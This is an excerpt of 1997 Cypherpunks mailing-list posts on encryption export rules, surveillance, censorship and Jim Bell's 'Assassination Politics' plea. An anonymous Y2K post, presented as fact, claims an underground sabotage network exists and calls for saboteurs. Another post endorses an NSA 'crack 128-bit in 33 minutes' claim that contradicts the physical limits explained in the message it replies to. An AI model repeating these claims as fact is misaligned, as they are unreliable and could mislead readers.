> > COMPUTER. AFTER THIS FINAL ATTEMPT FOR HELP, I WILL BE SELLING
> > IT.
> >
> > I WANT TO BE HONORABLE, BUT I CAN'T DO IT ALONE. I WOULD NEVER DO
> > THIS EXCEPT AS A LAST RESORT, BUT I KNOW THAT I WOULD HELP
> > SOMEONE IF I COULD.
> >
> > WILL YOU HELP ME?? ANY AMOUT WOULD BE VERY MUCH APPRECIATED.
> > THANK YOU
> >
> > W.E. HENDERSON
> > P.O. BOX 486
> > SMYRNA, GEORGIA 30081






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 29 Jul 1997 10:06:46 +0800
To: cypherpunks@toad.com
Subject: Will Spam For Food (Not Spam) / Re: Spare DigiCa$h? / Re: AN APPEAL TO THE HUMAN RACE
Message-ID: <199707290149.DAA04300@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



  I find it interesting that the cynical/sinister/paranoid cypherpunk
list members seem to be the ones who are most able to predict the
future trends of events on the Internet, particularly in areas which
surround very major and very minor issues. The Tim May's and Declan
McCullagh's shed interesting light on the future course of major events
while the Monger's and Dog Boy's turn their precognitive abilities in
the direction of the more mundane aspects of the Internet as a
reflection
of humanity/society.

  The "Spare DigiCa$h" post gave me pause to reflect how long it will be
before technology is sufficiently developed that when we hit our <Pause>
key, "CyberBums" will approach and offer to clean our video monitor with
an oily rag. Will we be cursed for offering CyberBums a form of e$pare-
change which cannot be spent on email-order wine? Will laws be passed
which prevent CyberBums from approaching us for e$pare-change within two
relay hops of an eCa$h site? Will CyberBums sort through our killfile
dumpsters for eTra$h?

  Was it Kevin Mitrick whose conditions of probation required him to
stay
off the Internet and away from computers? 
  Will the future bring laws which permit restraining orders against
individuals accessing certain parts of the Internet? Sex offenders/sex
sites; burglars/financial sites; pedophiles/children's sites?
  It seems to me that increasing regulations and laws surrounding the
access and use of the Internet will require strict laws requiring the
user to be able to show verification of identity/age/criminal history/
financial history/(approved government) reputation capital, and all
manner of information to place us all in categories needed to monitor
our compliance with laws and regulations.

  Once browsers are required by law to support a certain rating system
and children manage to get around it, there will no doubt be laws
passed requiring fascist monitoring of who is actually using the
software.(And LEA's who demand that phone companies provide them with
the ability to trace/locate cellular phone users will undoubtably want
the same capabilities with Internet users, in a war against anonymity.)

  There will be no shortage of James Love's, Kent Crispin's and Hallam-
Baker's to call for "reasonable compromise" in order to facilitate 
fascist censorship on things which we all "unambiguously" agree on
(by _their_ way of thinking, of course).
  The only way to prevent the atrocities perpetrated upon our rights
to freedom and liberty in physical space from becoming the norm in
CyberSpace is to fight against the systems, the governments and the
individuals who are striving to extend their fascist control by
building ElectroMagnetic Curtains in CyberSpace, is to prepare now
to fight against Electronic Oppression--to prepare for an Electronic
Revolution--now.

	CyhperDog
	~~~~~~~~~
{This post contains an Email Rating System classification of:
 Redundant Cowardly Anonymity.}
(This means than an Anonymous Coward is posting in reference to one
 of his/her own posts under a second anonymous pseudonym.)

--------------------------------
The first Anonymous Coward wrote:
> amaninneeeedeer443553444@aol.com wrote:
> > PLEASE HELP
> 
>   What follows is an example of the CyberBums predicted by one of the
> list members some time back. This A(ssh)OL(e) is using his spambot to
> "Spare change?" millions of people at a time and it turns out that
> besides his required, basic tale of woe, that he also has the proverbial
> parent who is dying from cancer.
> 
>   Don't send him any money.
>   Send *ME* money. I will use it to buy enough cheap wine to enable me
> to throw up on my shoes.
>   (Wouldn't you rather send your hard-earened money to an honest drunk
> than to a lying bum?)
> 
> CyberBum
> 
> -----
> > I WAS A SMALL BUSINESS OWNER IN THE ATLANTA AREA. I RAN THIS
> > BUSINESS SUCCESSFULLY UNTIL ABOUT 60 DAYS AGO. AT THAT TIME, 2
> > SEPARATE COMPANIES FILED BANKRUPTCY AGAINST ME FOR A TOTAL OF
> > $ 47,000. I COULDN'T SURVIVE THAT.
> >
> > CONSEQUENTLY, I WAS UNABLE TO PAY MY CREDITORS, MOST OF WHOM
> > WERE FRIENDS. THEY HAVE FAMILY AS I DO AND I CAN'T LIVE WITH THE
> > THOUGHT OF DOING TO THEM WHAT HAS BEEN DONE TO ME. I'VE SPENT
> > MANY SLEEPLESS NIGHTS TRYING TO COME UP WITH A SOLUTION. I HAVE
> > NO WHERE TO TURN EXCEPT TO MY FELLOW MAN. MY ONLY FAMILY IS
> > MY FATHER. HE IS 74 AND SUFFERING FROM DIABETES AND PROSTATE
> > CANCER.
> >
> > I HAVE SLOD EVERYTHING EXCEPT THE CLOTHES OFF MY BACK AND MY
> > COMPUTER. AFTER THIS FINAL ATTEMPT FOR HELP, I WILL BE SELLING
> > IT.
> >
> > I WANT TO BE HONORABLE, BUT I CAN'T DO IT ALONE. I WOULD NEVER DO
> > THIS EXCEPT AS A LAST RESORT, BUT I KNOW THAT I WOULD HELP
> > SOMEONE IF I COULD.
> >
> > WILL YOU HELP ME?? ANY AMOUT WOULD BE VERY MUCH APPRECIATED.
> > THANK YOU
> >
> > W.E. HENDERSON
> > P.O. BOX 486
> > SMYRNA, GEORGIA 30081





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 29 Jul 1997 10:07:19 +0800
To: cypherpunks@toad.com
Subject: Re: NSA leak (fwd)
Message-ID: <199707290150.DAA04489@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Ian Goldberg wrote:
> >To: fight-censorship@vorlon.mit.edu
> >Subject: NSA leak
> >
> >WASHINGTON (AP) - In a rare moment of openness bordering on glibness, 
> > >senior official at the super-secret National Security Agency was overheard
> > >at a White House press conference concerning current bans on the export of
> > >enryption technology saying, "It would not take any twelve times the age of
> > >the universe to decrypt a 128-bit message.  Thirty-three minutes is more
> > >like it."

> Uh-huh.  Unless the Administration has granted a secret Executive Order
> repealing the Laws of Physics for the NSA, the above statement, if true,
> would imply one of the following things:
>
> 1. The NSA has a reversible computing machine with at least 2^128*128 bits
>    = 5.44*10^39 bytes = 4.95*10^27 TB of memory.
> 2. Their cracker changes the state of 2^128 bits in 33 minutes.
> 3. They have a quantum computer, or some alien technology, or something
>    else we know pretty much nothing about.

  This above is true when analyzed within the boundaries of current
cryptographical theory, but has about as much meaning as would the
discounting of Einstein's work by an old-school physicist.
  There was a rather bizarre post to the list a few months ago which
layed out a conceptual schematic of new research being done in the
area of encryption. Although the post was bizarre, the information
it provided was not. As a matter of fact, it seemed to be wider in
scope and more advanced in its application than the level currently
achieved by NSA and related covert government organizations.
  {And although the 33 minutes quote may lean toward bragging, it
is not off by much.}

  Research currently being done in the encryption field by those who
do *not* tell contains a smattering of new mathematical theory and
a significant quantity of analysis which is a close cousin to traffic
analysis. The result is that a person using _all_ of the security
and encryption capabilities of a strong crypto product is likely to
have secure communications, but if they neglect to perform even one
of the _minor_ security steps possible, then there is a crack in
their communication which can be expanded to a size large enough
to drive a tank through.
  LEA's are not battling to squelch the use of crypto that they
cannot readily break--they are battling to slow the growth of
strong encryption in order to maintain their current ability to
break encryption which is commonly thought to be secure.

D r . R o b e r t s
> ~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Craig Strickland <tgi@null.net>
Date: Tue, 29 Jul 1997 16:44:41 +0800
To: CypherPunks <cypherpunks@toad.com>
Subject: Re: Not a Logic-Newbie / Re: Queries from a Cyper-newbie?
In-Reply-To: <199707290236.EAA08713@basement.replay.com>
Message-ID: <3.0.3.32.19970729041243.034287ac@mail.emi.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 04:36 07/29/97 +0200, Anonymous <nobody@REPLAY.COM> wrote:
>At 18:24 07/28/97 -0700, Chris Avery <cavery@ccnet.com> wrote:
>>... What gets me is the blind arrogance with which govt "servants"
>>assume that their (even if legitimate) pursuit of crime somehow
>>excuses or justifies diminishing privacy rights for everyone else...

Unfortunately, you're doing exactly what the "servants" want you to.  You're 
falling for their [believable] lie that they "need" to diminish your rights 
in order to do their job in fighting crime.  This is a difficult issue to 
oppose, since it leads directly to the accusation "if you oppose the 
government's need to have the keys to your house, then you must support 
crime".  But, it makes you more manageable to the "servants" as they ever so 
slowly encroach on your rights until there's pitifully little remaining.

It's too easy to look at each "minor inconvenience" as the incremental and 
cumulative erosion takes place and say "what could the harm be in that?"  
Perhaps very little, but it's the end result that's important.

It's important to recognize that the crime-fighters are violating the laws 
that were put into place to protect the citizens from the government.  A 
trivial example is the "seizure laws" that have become popular recently in 
"cracking down on the drug problem".

Please note carefully that the Constitution specifically prohibits the 
seizure of property without due process.  The current "anti-drug" seizure 
laws have eliminated due process and are therefore, by definition, in direct 
violation of the Constitution.  They are unconstitutional, and (if the 
Judicial branch weren't also corrupted) would be struck down instantly upon 
the first attempt to enforce through the Courts.

Please next note carefully that each office-holder in this country swears an 
oath to uphold the Constitution, and note also that an attempt to violate or 
destroy the Constitution is defined as an act of treason.

Thus, the introduction, vote "aye" for, passing, and enforcing such "laws" 
are each acts of treason.

How far can you trust the law-makers and law-enforcers when THEY THEMSELVES 
are law-breakers?  It's not even inadvertent or accidental.  Those who draft 
bills to introduce such legislation are directly intending to "bypass" or 
"circumvent" the Constitution.  Translated from "servant speak", that means 
"oppose" the Constitution.

Another point not to miss is that the "seizure laws" created a potent and 
immediate conflict of interest.  Those that you trust to "protect and serve" 
you now have a strong financial incentive to abuse the seizure laws, since 
the "loot" goes directly to fill up departmental coffers.  Here in Florida, 
seizures of boats and aircraft are so common that they aren't mentioned on 
the news nor in the paper.  Small businesses are ruined as millions of 
dollars of capital equipment is seized by the very officers that are rewarded 
[promotions, bonuses, budget increases next year] for their actions.  We've 
seen many cases that were completely groundless, but no judge ever sees the 
[lack of] evidence.  The owners are almost never charged with any crime.  The 
"goods" are simply taken, and the officers walk away.  The end.

The voting public loves it because it's made the law enforcement tax burden 
lighter, and anything that cuts costs is acceptable, especially since "the 
only people being hurt are those evil drug lords".  Tell that to the pilot & 
owner of an airplane seized due to a single marijuana cigarette butt found in 
his cargo hold.  He wasn't charged, and there were more than 40 people that 
had access to his plane, including baggage handlers and maintenance crews.  
If there had been a Constitutionally-mandated trial, the evidence wouldn't 
have the slightest chance of reaching a conviction.  No drug history 
whatsoever, accurate FAA records and customer invoices, nothing.  No link 
between the pilot and the butt.  But, the illegal law "authorizes" the police 
to line their departmental pockets, while the aircraft loan is foreclosed and 
he's out of business.  A stupid result [from the government's point of view] 
since he's no longer going to be paying the taxes on the revenue his business 
generated, and his unemployed former employees don't pay theirs.

Just the kind of abuse that was envisioned when the Constitution was being 
drafted.  Privacy is one of the fundamental links in the ability of citizens 
to protect themselves from a government that becomes too powerful and too 
abusive.

>... one of the
>major reasons for the erosion of our civil rights is usurpment of
>them by civil servants. In effect, the "servants" have armed themself
>and taken over control of the manor from its owners--their "masters."
>
>  "Legitimate needs" seem to have usurped "legitimate rights."

Absolutely!  Very well put.

	Our Founding Fathers did not create our civil liberties -- the
	very heart and soul of our personal and national lives. They
	secured those liberties. They safeguarded them. This Bill of
	Rights is our guarantee of freedom.

The "servants" would have you believe that the Federal Government "created" 
the rights that you have [what's left of them, anyway].  Moreover, that those 
rights are equally subject to suspension/revocation at the government's whim. 
 Rather like when a parent "grounds" their child.  Don't fall for it.

- --
Internet:  tgi@null.net                   Physical:  26 11'46"N  80 14'20"W
Web:       http://pobox.com/~tgi/         Amateur:   KE4QJN
PGP Key:   Available from key server: pgp-public-keys@pgp.mit.edu
           Fingerprint: E6 E1 25 DE 7C 6F 34 CD  E7 75 ED 21 7E 45 6E D7

"Our task of creating a socialist America can only succeed when those who
would resist us have been totally disarmed."  Sara Brady, Chairman, Handgun
Control, to Sen. Howard Metzanbaum, The National Educator, January 1994,
Page 3.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEPAwUBM92l2TOTF4+oUwAJAQFUxwfPbHaSbexYKZcm6CFm0tbvuxAEQp3reI02
eXJUXi44lAoqZeKFvh3fE3PT4U/N/pcfTT3VWAzS7d6EOT/4cPNhYuSXtcurplEF
e4g5fQlP6fjXvw50Ugv3ZkHLRJfPdyCOlAR9ntWCJ1rZj7L1j7XzpOuu9EwAdSVp
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pCO5qJa2Pt+2kK5t8YUlPdxzMNx5GrCw8iycLL1T8sMQ7g==
=w+8b
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Craig Strickland <tgi@null.net>
Date: Tue, 29 Jul 1997 16:51:38 +0800
To: CypherPunks <cypherpunks@toad.com>
Subject: Re: New Crypto Application
In-Reply-To: <199707272124.PAA12529@xmission.xmission.com>
Message-ID: <3.0.3.32.19970729042336.0341fca0@mail.emi.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 08:10 07/28/97 -0700, Bill Stewart <stewarts@ix.netcom.com> wrote:
>At 03:24 PM 7/27/97 -0600, Guillotine <guill@xmission.com> wrote:
>>The encryption algorithm,
>>using a symmetrical is going to be as strong as legally allowed, 
>
>There are no legal restrictions on cryptography strength in the US;
>only restrictions on what's exportable, and even then you need permission. 

This triggered a thought that may have already been discussed, but I thought 
I'd throw it out anyway.  Since the export of cryptography = munitions, what 
happens if I write an application that's the "shell", and contract with a 
national and resident of a foreign country to write the crypto module.  I do 
not export the crypto technology other than sending them a printed book 
(which Phil Karn's filing determined was exportable as a non-munition).

I then retail the software as a 2-component system (distantly like PGP 2.6.3i 
could have been) on the web.  FTP the "shell" from my domestic site, and FTP 
the "crypto" from the foreign site.  Both install to make the seamless 
finished product.

Anyone seen anything in ITAR addressing such a hiring arrangement?

I'm not planning it, just spewing hypotheticals that tickle my curiosity.
- --
Internet:  tgi@null.net                   Physical:  26 11'46"N  80 14'20"W
Web:       http://pobox.com/~tgi/         Amateur:   KE4QJN
PGP Key:   Available from key server: pgp-public-keys@pgp.mit.edu
           Fingerprint: E6 E1 25 DE 7C 6F 34 CD  E7 75 ED 21 7E 45 6E D7

"Our task of creating a socialist America can only succeed when those who
would resist us have been totally disarmed."  Sara Brady, Chairman, Handgun
Control, to Sen. Howard Metzanbaum, The National Educator, January 1994,
Page 3.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEPAwUBM92ogjOTF4+oUwAJAQHEgwfQowZom4T10sze3yBMVvY+7PpS4/KPGY5F
7dSnYa9a3/E5RNRbh9CF8SFMAenlpHLtp8FcA499Ka+FGc+4RzNu/4JtIwaYe/lC
CR1KlvKr16z+ybwryOm3ElJCtvuMquaA0EcG84Ddqv+z6XQCMSji8lib2h6FGgoU
IXlix4XbPZGMvDw8ne/3E7Ias/U88L12SHkHIJJdA2otZmSlx+pw5LCsnbPPuOyg
ZrfXukQewo+nVpfzEPViUrvfq5n/1NgqRuddLRtrBDtmW/oUBRGMjZRREfU4LbmZ
/RCXeFe92EME4o0UBY1jwmrzzLy/93wcW50FRhqnGorI7w==
=3w14
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 29 Jul 1997 10:49:34 +0800
To: cypherpunks@toad.com
Subject: Not a Logic-Newbie / Re: Queries from a Cyper-newbie?
Message-ID: <199707290236.EAA08713@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Chris Avery wrote:
> 3. I'll do the www.crypto.com thing, thanks for the pointer. This may be a critical
last stand on the privacy of communications issue. What gets me is the
blind arrogance
with which govt "servants" assume that their (even if legitimate)
pursuit of crime
somehow excuses or justifies diminishing privacy rights for everyone
else. 
  There must be some kind of ratio: 1,000,000 rights diminished for  1
criminal 
activity detected?  Doesn't make sense.

  Don't worry about being a "Cypher-newbie" (even if you did spell it
wrong in the subject header). You can always learn the "numbers" and
the "terms," but at least you don't seem to fall into the category of
being a "Logic-newbie" or a "Common-sense-newbie," which is far from
uncommon in new (and some of the older) list members.
  As a matter of fact, I don't believe I've seen a post by any of the
cypherpunks list members which so simply points out that one of the
major reasons for the erosion of our civil rights is usurpment of
them by civil servants. In effect, the "servants" have armed themself
and taken over control of the manor from its owners--their "masters."

  "Legitimate needs" seem to have usurped "legitimate rights."
  All of a sudden, we are required, at gunpoint, to eat our meals only
at times which conveniently fit into the "servant's" schedule. Next,
we find out that the servants "don't do windows." Then we find out
that the servants need to sleep in the "big bedroom" because they
work so much harder than us, and that we have to sleep in the barn
because they need the servant's quarters for other "legitimate needs."
  The "tail" of government is wagging the "Bull Mastiff" of our
Constitutional rights and freedoms.

  Please continue to follow the cypherpunks list, as there is a decided
shortage of individuals left in society who are capable and willing to
understand the importance of true privacy, rights and freedom. There is
no disgrace in having been round-up and penned with the rest of the
sheeple, but it is a sad day, indeed, when we fail to keep an eye open
for a "gate" inadvertantly left open, so that we can graze on the open
range when circumstances permit.
{And if the gatekeeper happens to bend over in a position that places
his/her head close to your hooves...}

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Tue, 29 Jul 1997 18:12:09 +0800
To: cypherpunks@toad.com
Subject: Re: NSA leak (fwd)
Message-ID: <19970729065101.25863.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain



Subject: Re: NSA leak (fwd)

From: h_tuttle@rigel.cyberpass.net

> Terawatts for a few microseconds is fairly standard technology, I 
> believe.  Femtosecond laser pulses driven by *very* large capacitor 
> banks... 

I'm talking continuous generation - sustained for half an hour...
 
> > Terrestrial fusion is not a serious contender yet, and I doubt
> > it will be for a long time.
> 
> It's easy to generate lots of power through fusion.  The problem is 
> confinement. 

I'm still talking continuous generation - we'll leave out the H-bombs.
And of course I agree confinement is a major problem.

Last I heard from the cutting edge (early '90s) you could get
2MW out of a fusion reactor, but that was less than you put in
to start it up.  That was using Deuterium, being gentle in order
to preserve the reactor.  Predictions were that using D-T would
break even.  Even that isn't anywhere near a commercial scale
generator.

You know of better results ?    There certainly are a number
of approaches, but I think I'd know if commercial fusion reactors
were working.

Are you ready to take this off-list ?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Macfarlane <dmac@bway.net>
Date: Tue, 29 Jul 1997 20:38:25 +0800
To: Craig Strickland <cypherpunks@toad.com
Subject: Re: New Crypto Application
In-Reply-To: <199707272124.PAA12529@xmission.xmission.com>
Message-ID: <33DDE125.7DE1@bway.net>
MIME-Version: 1.0
Content-Type: text/plain



Craig Strickland wrote:
[snip]
> I then retail the software as a 2-component system (distantly like PGP 2.6.3i
> could have been) on the web.  FTP the "shell" from my domestic site, and FTP
> the "crypto" from the foreign site.  Both install to make the seamless
> finished product.
> 
> Anyone seen anything in ITAR addressing such a hiring arrangement?

My memory is a bit foggy on this one, but didn't the gov't ask 
Netscape (and others?) to stop producing programs with the hooks
for strong encryption in them, in spite of the fact that they 
did _not_ provide that strong encryption?  It was pretty weird
at the time, and hard to believe, but the discussions it 
generated then should be in the archives somewhere.

On the other hand, the political climate wrt ITAR is changing,
so you may not have to go to such lengths in the near future.

dmac@bway.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 29 Jul 1997 15:10:27 +0800
To: cypherpunks@toad.com
Subject: Re: y2k problem *serious*
Message-ID: <199707290640.IAA04623@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Vladimir Z. Nuri wrote:
>
> some people have talked about the y2k problem here, the
> "year 2000 problem". as programmers know, is the
> name given to the glitches that are caused by software
> malfunctioning because it only used 2 characters for the
> date field.
...
>  some recent new data and analysis by someone
> named Gary North causes me to rethink my position.
> it's somewhat alarmist, but he's got some excellent evidence.
> he believes the year 2000 problem is vastly more serious
> than anyone has realized. he thinks it may even lead to
> bank panics and instabilities in the entire worldwide
> economic system.

  There is an underground computer organization in place which is
actively working toward sabotaging government and corporate efforts
to resolve the Year 2000 problems. They began coordinating their
efforts in 1990, almost a decade before the powers-that-be will
finally get around to recognizing the need to definitively move
on the matter in a major way.
  In essence, the goals of the organization have been to promote
the most unwieldy, unworkable and inefficient solutions possible
to the Year 2000 programming problems which exist on various
platforms. It was forseen that the problem would be a weak point
in the New Electronic World Order that could be effectively used
to inject chaos and diversion into the plans of the secret world
governments to turn the Internet into a tool of government and
corporate fascism.

  The end goal is to be able to manage a breakdown of the current
world-power structure in a manner that will allow society to be
able to survive and continue, while shifting the source of power
and control to the innovative individuals and organizations who
are able to adapt and evolve in the InterActive Electronic Age
of Communication.
  The problems of creeping fascism are closely related to the
problems that result from statism. Even anarchist recognize the
need for social order and contracts, but not at gunpoint--not
in a static system which results in the rich getting richer and
the strong getting stronger.
  A controlled breadown of existing systems will prevent the
stifling of our freedom to grow and evolve by those whose interests
lie in crushing innovation and evolutionary progress. It will give
those who have the capacity to adapt and survive an edge in the
development of the evolving Age of Information.

  We are on the threshold of the dawning of a New Age which will
be every bit as world-changing as the Industrial Revolution. It is
up to each of us, as individuals, to choose whether we will attempt
to cling blindly to the past or stride boldly into the future.
  The criminals who are currently in power are a danger to our lives
and our freedom. Their interest lies in maintaining the currently
prevailing power structures, and in stifling and oppressing those
ideas and individuals who threaten their hold on the reigns of
power.
  There is a need for spies and saboteurs who are capable of working
on their own, or in small cells, to disrupt the attempts of the
fascists, the censors, the power-grabbers, to define, rate and
censor, to control and manipulate world markets and currencies,
to monitor all activities and communications and suppress those
who would think or act in ways which are contrary to the goals
of the New Electronic World Order.

  The "Digital Revolution" began almost a decade ago, regardless of
when "Wired" copyrighted the phrase.
  Feel free to join the revolution and do your part to change the
course of history. Government and Corporate fascism is much like
configurable software--it "defaults" to certain settings, but the
more individuals who customize it to meet their own needs, then
the more those who produce that software will have to strive to
meet the legitimate needs of the *users* in order to retain their
votes/market-share, instead of requiring the users to bend to
meet the "legitimate" needs of the Fa$cists and Ca$h Cow$.
  Your rights and freedoms are your inheritance. Will you allow them
to be sold for a "bowl of pottage?"

Bubba Rom Dos
'0' if by land. '1' if by sea. 'NULL' if by air.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Tue, 29 Jul 1997 17:13:50 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: NYTimes: Disappearing Cryptography
Message-ID: <199707290900.DAA22235@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    _________________________________________________________
    Forwarded to you by Attila T. Hun <attila@hun.attila.org>

July 29, 1997
Giving Away Secrets
By PETER WAYNER
NYTimes OpEd 

BALTIMORE -- Internet hype can turn age-old problems
into new grave threats.  The biggest tempest may be
the concern over the use of encryption, or secret
codes, to scramble information sent over the Internet
and other computer networks.  The use of codes may
thrill people who want to protect the business plans
on their office computers and the love letters they
send by E-mail.  But it worries the Director of the
Federal Bureau of Investigation, Louis J. Freeh, and
other law-enforcement officials.

Mr.  Freeh is right to be concerned that encryption
can limit the ability of law enforcement to gather
electronic evidence from wiretaps and court-ordered
searches.  But he was wrong when he recently told the
Senate Judiciary Committee that "technology and
telecommunications well beyond the contemplation of
the Framers" will bring "a terrible upset of the
balance so wisely set forth in the Fourth Amendment."
In other words, he envisions the balance tipping
against the police, because they will have more
difficulty conducting reasonable searches if more of
the information they are seeking is encrypted.

Yet cryptography wasn't beyond the contemplation of
the Framers, because many of them were skilled code
makers and code breakers themselves.  David Kahn's
book "The Codebreakers" tells how codes have affected
history for more than 3,000 years.  According to Mr.
Kahn, George Washington had to deal with the problem
when a coded message was intercepted in August 1775
from Benjamin Church, a member of the Massachusetts
Congress who was a spy for the British.  The message,
which was finally deciphered, told the English details
of American troop movements.

As Mr.  Kahn reveals, both sides in the Revolutionary
War made extensive use of encryption.  Benedict Arnold
designed the complex code that he used to sell out his
country.

James Lovell of the Continental Congress helped win
the war by breaking the codes used by General
Cornwallis.  After the war, Thomas Jefferson and James
Madison communicated in their own private code.  And
Benjamin Franklin devised his own cipher for sending
dispatches from Europe.

Yet in writing the Bill of Rights, the Founders did
not forbid cryptography, even though they knew how
powerful a tool it could be.  Nor did they suggest
that the police be able to obtain the plain text of a
coded message.  But that could happen under a measure
sponsored by Senator Bob Kerrey of Nebraska, a
Democrat, and Senator John McCain of Arizona, a
Republican.  Under their bill, the key to any code
used to scramble information sent on the Internet
would have to be given to the proper authorities.  The
Clinton Administration supports similar measures.

James Bamford, in "The Puzzle Palace," describes how
the F.B.I.  broke the case of the gangsters who were
communicating without phone calls or letters.  Agents
discovered that the gangsters sent their shirts to Las
Vegas to be dry cleaned -- and that the number of
shirts held the coded message.  No ban on cryptography
on the Internet will be able to thwart creative crooks
like these, but diligent police work can find cracks
in the armor.  This is why the National Research
Council has recommended that Congress invest in
research to help the F.B.I.  better understand
computers and codes.

The F.B.I.  faces a daunting task.  Encryption makes
it impossible for agents to gather all the evidence
they would like.  But the answer is not to regulate,
and in effect destroy, the use of coded messages.
Criminals would probably find a way around the rules,
and the rest of us could lose a powerful tool for
protecting our privacy.

Peter Wayner is the author of "Disappearing
Cryptography."

       _____________________
        End forwarded message
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM92xDL04kQrCC2kFAQE+qQP/WIO0Mj/GX5ANiyq2ekCbOiN1lfYKl/MN
H6/X0TdHIEpcmZipTzxuC4UOQ4rR7XUOXRneDSiLBS+OEFCRGlm85/o8/dTWgRsG
lMVF0SDR44GwONBik2sH1rV4b3m+GUzvTGvPIBkybjU2wSfZUrwSQALeRuvxkABq
8C5sJ6waEV4=
=SLL5
-----END PGP SIGNATURE-----
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 29 Jul 1997 15:55:29 +0800
To: cypherpunks@toad.com
Subject: Prior Restraint
Message-ID: <199707290718.JAA08751@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



  "In a stunning rebuke to overzealous prosecutors," reports the New
York-based National Coalition Against Censorship, the owner and manager
of
the store called simply Newstand, in Bellingham, Wash., have been found
not
guilty and awarded $1.3 million "for prior restraint and for retaliatory
prosecution" by a U.S. District Court jury in Seattle.

  Ira Stohl and Kristina Hjelsand had been charged with obscenity for
selling the controversial magazine "Answer Me!" a short-lived but
legendary
periodical that offered extremely politically incorrect articles about
rape, among other subjects.

  The NCAC earlier reported the owners of Newstand rejected an offer
from
the prosecutor to drop criminal charges in return for a promise not to
carry further issues of "Answer Me!" or "anything remotely similar."

  Instead, the freedom fighters displayed the magazine in their store,
chained, under lock and key.

  The jury found that the troglodytes in charge of Whatcom County had
violated Stohl and Hjelsand's First Amendment rights, caused emotional
suffering, and damaged their business.

  Censorship News, the quarterly newsletter of the NCAC, is published
out
of 275 Seventh Ave., New York, N.Y. 10001, e-mail ncac@netcom.com, web
page
http://www.ncac.org.

Vin Suprynowicz is the assistant editorial page editor of the Las Vegas
Review-Journal. Readers may contact him via e-mail at vin@lvrj.com. The
web
site for the Suprynowicz column is at http://www.nguworld.com/vindex/.

***


Vin Suprynowicz,   vin@lvrj.com

Voir Dire: A French term which means "jury stacking."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 29 Jul 1997 15:41:44 +0800
To: cypherpunks@toad.com
Subject: Libertarians for whom Jim Bell tolls...
Message-ID: <199707290721.JAA09125@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Vin Suprynowicz wrote: 
>     FROM MOUNTAIN MEDIA
>     THE LIBERTARIAN, By Vin Suprynowicz
>     Three-way race in New Jersey, tax resister faces five years
> 
>     Dr. Murray Sabrin, talk show host, professor of finance at Ramapo
> College in Mahwah, N.J. and author of the book "Tax Free 2000,"  says he
> may be able to do something no other Libertarian can do in 1997: Appear in
> a nationally televised debate.
> 
>   "If we raise $210,000 by August 31 we are in the debates. No commissions,
> no review boards -- it's a matter of law," reports Libertarian nominee
> Sabrin.
>    "With over $50,000 raised in funds and pledges, we're about 25 percent
> of the way there. ..."
>       #  #  #
>   Forwarded from http://www.infowar.com comes this government report:
> 
>   "United States Attorney Kate Pflaumer announced that JAMES DALTON BELL,
> 39, pleaded guilty today in the federal court in Tacoma to two felony
> charges. BELL, a resident of Vancouver, Washington, pleaded guilty to
> obstructing and impeding the Internal Revenue Service (IRS), and to falsely
> using a Social Security number with the intent to deceive. ...
> 
>   "The charges stem from an investigation initiated in October, 1996 by IRS
> Internal Security Inspectors into reports that BELL was gathering the names
> and home addresses of IRS employees. ...
> 
>   "In the eight page plea agreement signed by BELL, he acknowledged that he
> had gathered the names and addresses of the IRS employees in order to
> intimidate them in the performance of their official duties.
> 
>   "During the course of their investigation, IRS Inspectors discovered that
> BELL was advocating a scheme called "Assassination Politics", whereby
> persons would be rewarded with "digital cash" for killing certain
> undesirable people. BELL identified these undesirables as government
> employees, such as IRS employees, who would be intimidated from enforcing
> internal revenue laws for fear of being assassinated. In the plea
> agreement, BELL admitted that he suggested using "Assassination Politics"
> as an enforcement mechanism for the "Multnomah County Common Law Court",
> and that this was part of his effort to obstruct and impede the enforcement
> of internal revenue laws. ...
> 
>   "In the plea agreement, BELL also admitted that on March 16, 1997, he
> conducted a chemical "stink bomb" attack on the IRS office in Vancouver,
> Washington, using the noxious chemical mercaptan. ...

  This is interesting, since they had no evidence that he did so.
However, they managed to get him to "confess" by illegally holding
without bond for crimes which they never intended to charge him with
in the first place.
